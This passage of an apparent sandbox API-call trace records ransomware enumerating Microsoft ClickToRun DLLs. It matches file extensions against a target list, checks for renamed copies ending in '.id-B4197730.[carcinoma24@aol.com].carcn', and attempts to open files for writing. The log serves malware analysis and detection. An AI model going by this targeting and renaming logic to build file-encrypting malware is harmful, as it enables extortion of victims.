lpString2=".dll") returned 1 [0293.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.183] lstrlenW (lpString=".zip") returned 4 [0293.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.183] lstrlenW (lpString=".rar") returned 4 [0293.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.183] lstrlenW (lpString=".bz2") returned 4 [0293.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.183] lstrlenW (lpString=".7z") returned 3 [0293.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.183] lstrlenW (lpString=".dbf") returned 4 [0293.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.189] lstrlenW (lpString=".1cd") returned 4 [0293.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.189] lstrlenW (lpString=".jpg") returned 4 [0293.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.189] lstrlenW (lpString=".doc") returned 4 [0293.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString=".docx") returned 5 [0293.189] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0293.189] lstrlenW (lpString=".pdf") returned 4 [0293.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString=".xls") returned 4 [0293.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString=".xlsx") returned 5 [0293.189] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0293.189] lstrlenW (lpString=".ppt") returned 4 [0293.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.189] lstrlenW (lpString=".zip") returned 4 [0293.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.189] lstrlenW (lpString=".rar") returned 4 [0293.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.190] lstrlenW (lpString=".bz2") returned 4 [0293.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.190] lstrlenW (lpString=".7z") returned 3 [0293.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.190] lstrlenW (lpString=".dbf") returned 4 [0293.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.190] lstrlenW (lpString=".1cd") returned 4 [0293.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.190] lstrlenW (lpString=".jpg") returned 4 [0293.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.194] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.194] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0293.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.206] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=567512) returned 1 [0293.207] CloseHandle (hObject=0x350) returned 1 [0293.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0293.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.207] lstrlenW (lpString=".doc") returned 4 [0293.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.207] lstrlenW (lpString=".docx") returned 5 [0293.207] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.207] lstrlenW (lpString=".pdf") returned 4 [0293.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.208] lstrlenW (lpString=".xls") returned 4 [0293.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.208] lstrlenW (lpString=".xlsx") returned 5 [0293.208] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.208] lstrlenW (lpString=".ppt") returned 4 [0293.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.208] lstrlenW (lpString=".zip") returned 4 [0293.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.208] lstrlenW (lpString=".rar") returned 4 [0293.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.208] lstrlenW (lpString=".bz2") returned 4 [0293.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.208] lstrlenW (lpString=".7z") returned 3 [0293.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.209] lstrlenW (lpString=".dbf") returned 4 [0293.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.209] lstrlenW (lpString=".1cd") returned 4 [0293.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.209] lstrlenW (lpString=".jpg") returned 4 [0293.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.209] lstrlenW (lpString=".doc") returned 4 [0293.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.209] lstrlenW (lpString=".docx") returned 5 [0293.209] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.209] lstrlenW (lpString=".pdf") returned 4 [0293.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.209] lstrlenW (lpString=".xls") returned 4 [0293.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.209] lstrlenW (lpString=".xlsx") returned 5 [0293.209] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.209] lstrlenW (lpString=".ppt") returned 4 [0293.210] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.210] lstrlenW (lpString=".zip") returned 4 [0293.210] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.210] lstrlenW (lpString=".rar") returned 4 [0293.210] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.210] lstrlenW (lpString=".bz2") returned 4 [0293.210] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.210] lstrlenW (lpString=".7z") returned 3 [0293.210] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.210] lstrlenW (lpString=".dbf") returned 4 [0293.210] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.210] lstrlenW (lpString=".1cd") returned 4 [0293.210] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0293.210] lstrlenW (lpString=".jpg") returned 4 [0293.210] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.210] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.210] lstrlenW (lpString="AppVManifest.dll") returned 16 [0293.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.211] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1231576) returned 1 [0293.211] CloseHandle (hObject=0x350) returned 1 [0293.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0293.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.212] lstrlenW (lpString=".doc") returned 4 [0293.212] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.212] lstrlenW (lpString=".docx") returned 5 [0293.212] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.212] lstrlenW (lpString=".pdf") returned 4 [0293.212] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.212] lstrlenW (lpString=".xls") returned 4 [0293.212] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.213] lstrlenW (lpString=".xlsx") returned 5 [0293.213] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.213] lstrlenW (lpString=".ppt") returned 4 [0293.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.213] lstrlenW (lpString=".zip") returned 4 [0293.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.213] lstrlenW (lpString=".rar") returned 4 [0293.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.213] lstrlenW (lpString=".bz2") returned 4 [0293.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.213] lstrlenW (lpString=".7z") returned 3 [0293.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.213] lstrlenW (lpString=".dbf") returned 4 [0293.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.213] lstrlenW (lpString=".1cd") returned 4 [0293.213] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.213] lstrlenW (lpString=".jpg") returned 4 [0293.213] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.214] lstrlenW (lpString=".doc") returned 4 [0293.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.214] lstrlenW (lpString=".docx") returned 5 [0293.214] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.214] lstrlenW (lpString=".pdf") returned 4 [0293.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.214] lstrlenW (lpString=".xls") returned 4 [0293.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.214] lstrlenW (lpString=".xlsx") returned 5 [0293.214] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.214] lstrlenW (lpString=".ppt") returned 4 [0293.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.214] lstrlenW (lpString=".zip") returned 4 [0293.214] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.214] lstrlenW (lpString=".rar") returned 4 [0293.214] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.215] lstrlenW (lpString=".bz2") returned 4 [0293.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.215] lstrlenW (lpString=".7z") returned 3 [0293.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.215] lstrlenW (lpString=".dbf") returned 4 [0293.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.215] lstrlenW (lpString=".1cd") returned 4 [0293.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0293.215] lstrlenW (lpString=".jpg") returned 4 [0293.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.215] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.215] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0293.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.216] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=947928) returned 1 [0293.216] CloseHandle (hObject=0x350) returned 1 [0293.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0293.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.217] lstrlenW (lpString=".doc") returned 4 [0293.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.217] lstrlenW (lpString=".docx") returned 5 [0293.217] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.217] lstrlenW (lpString=".pdf") returned 4 [0293.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.217] lstrlenW (lpString=".xls") returned 4 [0293.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.217] lstrlenW (lpString=".xlsx") returned 5 [0293.217] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.217] lstrlenW (lpString=".ppt") returned 4 [0293.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.217] lstrlenW (lpString=".zip") returned 4 [0293.217] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.217] lstrlenW (lpString=".rar") returned 4 [0293.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.218] lstrlenW (lpString=".bz2") returned 4 [0293.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.218] lstrlenW (lpString=".7z") returned 3 [0293.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.218] lstrlenW (lpString=".dbf") returned 4 [0293.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.218] lstrlenW (lpString=".1cd") returned 4 [0293.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.218] lstrlenW (lpString=".jpg") returned 4 [0293.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.218] lstrlenW (lpString=".doc") returned 4 [0293.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.218] lstrlenW (lpString=".docx") returned 5 [0293.218] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.218] lstrlenW (lpString=".pdf") returned 4 [0293.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.218] lstrlenW (lpString=".xls") returned 4 [0293.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.219] lstrlenW (lpString=".xlsx") returned 5 [0293.219] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.219] lstrlenW (lpString=".ppt") returned 4 [0293.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.219] lstrlenW (lpString=".zip") returned 4 [0293.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.219] lstrlenW (lpString=".rar") returned 4 [0293.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.219] lstrlenW (lpString=".bz2") returned 4 [0293.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.219] lstrlenW (lpString=".7z") returned 3 [0293.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.219] lstrlenW (lpString=".dbf") returned 4 [0293.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.220] lstrlenW (lpString=".1cd") returned 4 [0293.220] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0293.220] lstrlenW (lpString=".jpg") returned 4 [0293.220] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.220] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.220] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0293.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.221] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1295576) returned 1 [0293.221] CloseHandle (hObject=0x350) returned 1 [0293.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0293.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.222] lstrlenW (lpString=".doc") returned 4 [0293.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.222] lstrlenW (lpString=".docx") returned 5 [0293.222] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0293.222] lstrlenW (lpString=".pdf") returned 4 [0293.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString=".xls") returned 4 [0293.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString=".xlsx") returned 5 [0293.223] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0293.223] lstrlenW (lpString=".ppt") returned 4 [0293.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.223] lstrlenW (lpString=".zip") returned 4 [0293.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString=".rar") returned 4 [0293.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString=".bz2") returned 4 [0293.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.223] lstrlenW (lpString=".7z") returned 3 [0293.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.223] lstrlenW (lpString=".dbf") returned 4 [0293.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.223] lstrlenW (lpString=".1cd") returned 4 [0293.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.223] lstrlenW (lpString=".jpg") returned 4 [0293.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.224] lstrlenW (lpString=".doc") returned 4 [0293.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.224] lstrlenW (lpString=".docx") returned 5 [0293.224] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0293.224] lstrlenW (lpString=".pdf") returned 4 [0293.224] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.224] lstrlenW (lpString=".xls") returned 4 [0293.224] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.224] lstrlenW (lpString=".xlsx") returned 5 [0293.224] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0293.224] lstrlenW (lpString=".ppt") returned 4 [0293.224] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.224] lstrlenW (lpString=".zip") returned 4 [0293.224] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.224] lstrlenW (lpString=".rar") returned 4 [0293.224] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.225] lstrlenW (lpString=".bz2") returned 4 [0293.225] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.225] lstrlenW (lpString=".7z") returned 3 [0293.225] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 